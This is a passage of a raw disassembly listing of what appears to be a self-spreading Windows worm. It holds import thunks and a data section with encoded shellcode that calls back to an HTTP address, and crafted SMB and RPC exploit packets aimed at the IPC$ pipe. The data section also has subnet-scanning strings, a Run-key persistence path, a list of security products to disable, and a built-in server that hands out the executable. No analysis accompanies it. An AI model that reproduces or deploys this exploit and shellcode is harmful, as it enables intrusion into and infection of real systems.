loc_44064C:				; CODE XREF: sub_4405FD+24j
					; sub_4405FD+31j ...
		push	0
		call	sub_4406DD
		push	1
		push	edi
		push	0
		push	eax
		call	sub_4403F5
		pop	edi
		leave
		retn
sub_4405FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_440661	proc near		; CODE XREF: sub_43F725+8p

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_440662:				; CODE XREF: sub_440661+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_440662
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_440661	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_440681	proc near		; CODE XREF: sub_4403F5+15p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_440681	endp

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406AD	proc near		; CODE XREF: .text:0043F53Cp
		jmp	dword ptr loc_4052A8
sub_4406AD	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406B9	proc near		; CODE XREF: sub_4405FD+5p
		jmp	dword ptr loc_4052A8+4
sub_4406B9	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406C5	proc near		; CODE XREF: sub_4403F5+91p
		jmp	dword ptr loc_4052B0
sub_4406C5	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406D1	proc near		; CODE XREF: .text:0043F544p
		jmp	dword ptr loc_4052B2+2
sub_4406D1	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406DD	proc near		; CODE XREF: sub_4405FD+51p
		jmp	dword ptr loc_4052B2+6
sub_4406DD	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406E9	proc near		; CODE XREF: .text:0043F574p
					; .text:0043F618p ...
		jmp	dword ptr loc_4052B9+3
sub_4406E9	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406F5	proc near		; CODE XREF: .text:0043FDCCp
		jmp	dword ptr loc_4052C0
sub_4406F5	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440701	proc near		; CODE XREF: sub_440080+4p
		jmp	dword ptr loc_4052C0+4
sub_440701	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44070D	proc near		; CODE XREF: sub_43F2D4+1Ep
		jmp	dword ptr loc_4052C7+1
sub_44070D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440719	proc near		; CODE XREF: .text:0043F512p
					; .text:004403C2p
		jmp	dword ptr loc_4052C7+5
sub_440719	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440725	proc near		; CODE XREF: .text:0043F4B6p
		jmp	dword ptr loc_4052CE+2
sub_440725	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440731	proc near		; CODE XREF: .text:0043F551p
					; .text:0043FDE4p
		jmp	dword ptr loc_4052CE+6
sub_440731	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44073D	proc near		; CODE XREF: .text:0043F52Ep
		jmp	dword ptr loc_4052D6+2
sub_44073D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440749	proc near		; CODE XREF: .text:0043F56Ep
		jmp	dword ptr loc_4052D6+6
sub_440749	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440755	proc near		; CODE XREF: sub_43F017+13p
		jmp	dword ptr loc_4052DD+3
sub_440755	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440761	proc near		; CODE XREF: .text:0043F58Cp
					; sub_43F725+17Ep
		jmp	dword ptr loc_4052E4
sub_440761	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44076D	proc near		; CODE XREF: .text:0043F4AAp
					; .text:0043F4E4p ...
		jmp	dword ptr loc_4052E4+4
sub_44076D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440779	proc near		; CODE XREF: sub_43F725+72p
		jmp	dword ptr loc_4052E4+8
sub_440779	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440785	proc near		; CODE XREF: sub_43F725+BBp
					; sub_43F725+D9p ...
		jmp	dword ptr loc_4052EE+2
sub_440785	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440791	proc near		; CODE XREF: .text:0043F612p
					; .text:004400DAp ...
		jmp	dword ptr loc_4052F3+1
sub_440791	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44079D	proc near		; CODE XREF: sub_440126+185p
		jmp	dword ptr loc_4052F5+3
sub_44079D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407A9	proc near		; CODE XREF: sub_4403F5+108p
		jmp	dword ptr loc_405302+2
sub_4407A9	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407B5	proc near		; CODE XREF: sub_4403F5+60p
		jmp	dword ptr loc_405308
sub_4407B5	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407C1	proc near		; CODE XREF: sub_4403F5+12Bp
		jmp	dword ptr loc_405309+3
sub_4407C1	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407CD	proc near		; CODE XREF: sub_4403F5+113p
		jmp	dword ptr loc_405310
sub_4407CD	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407D9	proc near		; CODE XREF: sub_4403F5+11Cp
		jmp	dword ptr loc_405311+3
sub_4407D9	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407E5	proc near		; CODE XREF: .text:004403CBp
		jmp	dword ptr loc_405318
sub_4407E5	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407F1	proc near		; CODE XREF: sub_4403F5+87p
		jmp	dword ptr loc_40531A+2
sub_4407F1	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407FD	proc near		; CODE XREF: .text:004403D8p
		jmp	dword ptr loc_405320
sub_4407FD	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440809	proc near		; CODE XREF: .text:004403EBp
		jmp	dword ptr loc_405320+4
sub_440809	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440815	proc near		; CODE XREF: sub_440126+C5p
					; sub_440126+205p
		jmp	dword ptr loc_40532D+3
sub_440815	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440821	proc near		; CODE XREF: sub_440126+6Fp
					; sub_440126+82p
		jmp	dword ptr loc_405332+2
sub_440821	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44082D	proc near		; CODE XREF: sub_440126+BFp
		jmp	dword ptr loc_405337+1
sub_44082D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440839	proc near		; CODE XREF: sub_440126+2Cp
		jmp	dword ptr loc_405339+3
sub_440839	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440845	proc near		; CODE XREF: sub_440126+59p
		jmp	dword ptr loc_405340
sub_440845	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440851	proc near		; CODE XREF: sub_440126+1F5p
		jmp	dword ptr loc_405340+4
sub_440851	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44085D	proc near		; CODE XREF: sub_43F2F9+21p
		jmp	dword ptr loc_405347+1
sub_44085D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440869	proc near		; CODE XREF: sub_43F2F9+4Bp
					; sub_43F364+40p ...
		jmp	dword ptr loc_405347+5
sub_440869	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440875	proc near		; CODE XREF: sub_43F364+16p
					; sub_440126+1D1p
		jmp	dword ptr loc_405350
sub_440875	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440881	proc near		; CODE XREF: sub_43F364+36p
		jmp	dword ptr loc_405350+4
sub_440881	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44088D	proc near		; CODE XREF: sub_43F2F9+41p
		jmp	dword ptr loc_405355+3
sub_44088D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440899	proc near		; CODE XREF: sub_43F239+15p
		jmp	dword ptr loc_405363+1
sub_440899	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408A5	proc near		; CODE XREF: .text:0043F1FFp
		jmp	dword ptr loc_405366+2
sub_4408A5	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408B1	proc near		; CODE XREF: .text:0043FE0Ep
					; .text:0043FE48p ...
		jmp	dword ptr loc_40536B+1
sub_4408B1	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408BD	proc near		; CODE XREF: .text:0043F22Ap
		jmp	dword ptr loc_40536B+5
sub_4408BD	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408C9	proc near		; CODE XREF: sub_43F725+B2p
					; sub_43F725+D0p ...
		jmp	dword ptr loc_405372+2
sub_4408C9	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408D5	proc near		; CODE XREF: sub_43F725+16Dp
					; sub_43F725+2E4p ...
		jmp	dword ptr loc_405372+6
sub_4408D5	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408E1	proc near		; CODE XREF: .text:0043F180p
		jmp	dword ptr loc_405379+3
sub_4408E1	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408ED	proc near		; CODE XREF: sub_43F624:loc_43F64Dp
					; sub_43F624:loc_43F6A7p ...
		jmp	dword ptr loc_40537F+1
sub_4408ED	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408F9	proc near		; CODE XREF: .text:0043F139p
					; .text:0043F153p ...
		jmp	dword ptr loc_40537F+5
sub_4408F9	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440905	proc near		; CODE XREF: .text:0043F43Fp
					; sub_43F624+F4p ...
		jmp	dword ptr loc_405385+3
sub_440905	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440911	proc near		; CODE XREF: .text:0043FDD2p
		jmp	dword ptr loc_405385+7
sub_440911	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44091D	proc near		; CODE XREF: sub_43F239+6Bp
					; sub_43F239+8Ep ...
		jmp	dword ptr loc_40538F+1
sub_44091D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440929	proc near		; CODE XREF: sub_4405FD+17p
		jmp	dword ptr loc_40538F+5
sub_440929	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440935	proc near		; CODE XREF: .text:0043F3F0p
					; .text:0043F40Cp
		jmp	dword ptr loc_405396+2
sub_440935	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		dd 17h dup(0)
		dd 40300000h, 40311000h, 800000h, 22h dup(0)
		dd 5000h, 0
		dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah
		dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch,	746845EBh
		dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah
		dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h
		dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h
		dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h
		dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh
		dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h
		dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h,	414C999h
		dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h,	10A7C196h
		dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h
		dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h,	4EC999C9h
		dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h
		dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh
		dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h,	99C999E3h
		dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h,	0C999672Ch
		dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h
		dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h
		dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h
		dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h
		dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh
		dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h)
		dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h
		dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h,	0C983639Dh
		dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h,	91720A95h
		dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h,	529AE180h
		dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh,	0DB9BAB9Eh
		dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh
		dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah
		dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h,	0A98712FEh
		dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h,	0
		dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh
		dd 100h, 8829700h, 0E0h, 3 dup(0)
		dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h,	300030h
		dd 200030h, 310032h, 350039h, 570000h, 6E0069h,	6F0064h
		dd 730077h, 320020h, 300030h, 200030h, 2E0035h,	30h, 0
		dd 0FFDA0000h, 73424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 0FEFF00h, 0C002008h,	0DA00FFh, 0A1104h, 0
		dd 570000h, 0
		dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h
		dd 0
		dd 470000h, 0
		dd 400000h, 0
		dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h
		dd 48E088h, 44004Fh, 6A198100h,	49E4F27Ah, 30AF281Ch, 67107425h
		dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h
		dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h
		dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h
		dd 30002E00h, 2	dup(0)
		dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h
		dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh,	32002Eh
		dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h
		dd 0A2424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0
		dd 9F000000h, 201h, 2 dup(0)
		dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h
		dd 73006C00h, 72006100h, 63007000h, 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h
		dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0)
		dd 0DC080000h, 60080004h, 1000h, 0CA0h,	400h, 2	dup(0)
		dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h
		dd 5C004500h, 0
		dd 500h, 1003h,	0CA000h, 100h, 0C8800h,	9000000h, 3EC00h
		dd 0
		dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h
		dd 0
		dd 0C80718h, 3 dup(0)
		db 8, 0FFh
		dw 0FEh
		dd 0E006008h, 0DEDE00FFh, 4000h, 0FFFF0000h, 8FFFFh, 10B8h
		dd 4010B8h, 0
		dd 5EE10B9h, 10010000h,	0B8000000h, 1000010h, 0C000000h
		dd 20h,	0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh
		dd 25h,	0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 10h dup(0)
		dd 460000h, 101h, 0Dh dup(0)
		dd 15123C00h, 275h, 0Dh	dup(0)
		dd 1C123C00h, 75h, 0Eh dup(0)
		dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h
		dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h
		dd 404CCF00h, 200h, 80h, 0
		dd 404CB500h, 0
		dd 404C9C00h, 2	dup(0)
		dd 404C8C00h, 2	dup(0)
		dd 404C8200h, 2	dup(0)
		dd 404C6900h, 2	dup(0)
		dd 404C5000h, 2	dup(0)
		dd 404C4300h, 2	dup(0)
		dd 404C3300h, 100h, 0
		dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h,	0
		dd 404C1900h, 2	dup(0)
		dd 404C1200h, 100h, 0
		dd 404C0C00h, 100h, 0
		dd 404C0300h, 100h, 0
		dd 404BFC00h, 100h, 0
		dd 404BF300h, 100h, 0
		dd 404BEC00h, 100h, 0
		dd 404BE500h, 100h, 0
		dd 404BDD00h, 100h, 0
		dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h,	0
		dd 404BC800h, 100h, 0
		dd 404BC100h, 100h, 0
		dd 404BBB00h, 100h, 0
		dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h,	0
		dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h,	0
		dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h
		dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h
		dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h
		dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h
		dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h
		dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h
		dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h
		dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch
		dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h
		dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h
		dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h
		dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h
		dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh
		dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh
		dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h
		dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h
		dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah
		dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh
		dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h
		dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h
		dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh
		dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h
		dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h
		dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch
		dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h
		dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh
		dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h
		dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh
		dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch
		dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h
		dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0)
		dd 50F400h, 2 dup(0)
		dd 57F400h, 524C00h, 513800h, 2	dup(0)
		dd 583C00h, 529000h, 514400h, 2	dup(0)
		dd 584C00h, 529C00h, 515000h, 2	dup(0)
		dd 585C00h, 52A800h, 51AC00h, 2	dup(0)
		dd 58C000h, 530400h, 51D800h, 2	dup(0)
		dd 58F000h, 533000h, 520C00h, 2	dup(0)
		dd 592C00h, 536400h, 1Ah dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 2 dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
